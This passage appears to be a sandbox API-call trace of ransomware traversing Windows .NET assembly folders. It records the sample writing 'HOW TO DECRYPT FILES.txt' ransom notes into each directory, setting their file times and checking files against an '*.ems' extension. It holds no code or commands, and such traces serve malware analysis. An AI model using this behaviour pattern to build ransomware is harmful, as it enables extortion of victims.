hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1cdc70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1cdc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1cdc70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.188] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0101.188] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0101.188] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll") returned -1 [0101.188] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.config") returned="Policy.12.0.Microsoft.Office.Interop.SmartTag.config" [0101.189] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" [0101.189] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.189] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.189] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.smarttag\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.189] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.dll" [0101.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.SmartTag.dll", pszSpec="*.ems") returned 0 [0101.189] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1cdc70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1cdc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1cdc70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.SmartTag.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.189] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.189] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa65424f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65424f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.190] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.190] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0000, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio", cAlternateFileName="POLICY~2.VIS")) returned 1 [0101.190] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio") returned -1 [0101.190] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio") returned -1 [0101.190] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.190] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio" [0101.190] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.191] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af0e3c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.191] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.191] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.191] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af0e3c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af0e3c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.191] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.191] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.191] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\*.*") returned="*.*" [0101.191] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c" [0101.191] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af0e3c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af0e3c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x37005f, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.195] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.195] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af0e3c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af0e3c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.195] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.195] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.195] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85170480, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85170480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85170480, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.195] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.195] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.config") returned -1 [0101.195] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.config") returned -1 [0101.195] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.config") returned -1 [0101.195] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.195] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" [0101.195] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.196] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.196] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.196] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.199] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.199] CloseHandle (hObject=0x90) returned 1 [0101.199] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config" [0101.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config", pszSpec="*.ems") returned 0 [0101.200] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85170480, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85170480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85170480, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.200] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0101.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0101.200] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.dll") returned -1 [0101.200] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.config") returned="Policy.12.0.Microsoft.Office.Interop.Visio.config" [0101.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" [0101.200] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.200] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.200] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.visio\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.200] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.dll" [0101.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Visio.dll", pszSpec="*.ems") returned 0 [0101.201] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85170480, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x85170480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x85170480, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.201] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.201] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8514a320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af0e3c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af0e3c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.201] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.201] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9afccaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9afccaa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb", cAlternateFileName="POLICY~2.SAV")) returned 1 [0101.201] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned -1 [0101.201] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned -1 [0101.201] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.201] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb" [0101.201] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9afccaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9afccaa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.202] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.202] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af5a680, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9afccaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9afccaa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.202] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.202] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.202] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.202] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.202] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.202] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\*.*") returned="*.*" [0101.202] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c" [0101.202] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.206] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.206] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.206] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.206] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c3b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x2e002e, dwReserved1=0x0, 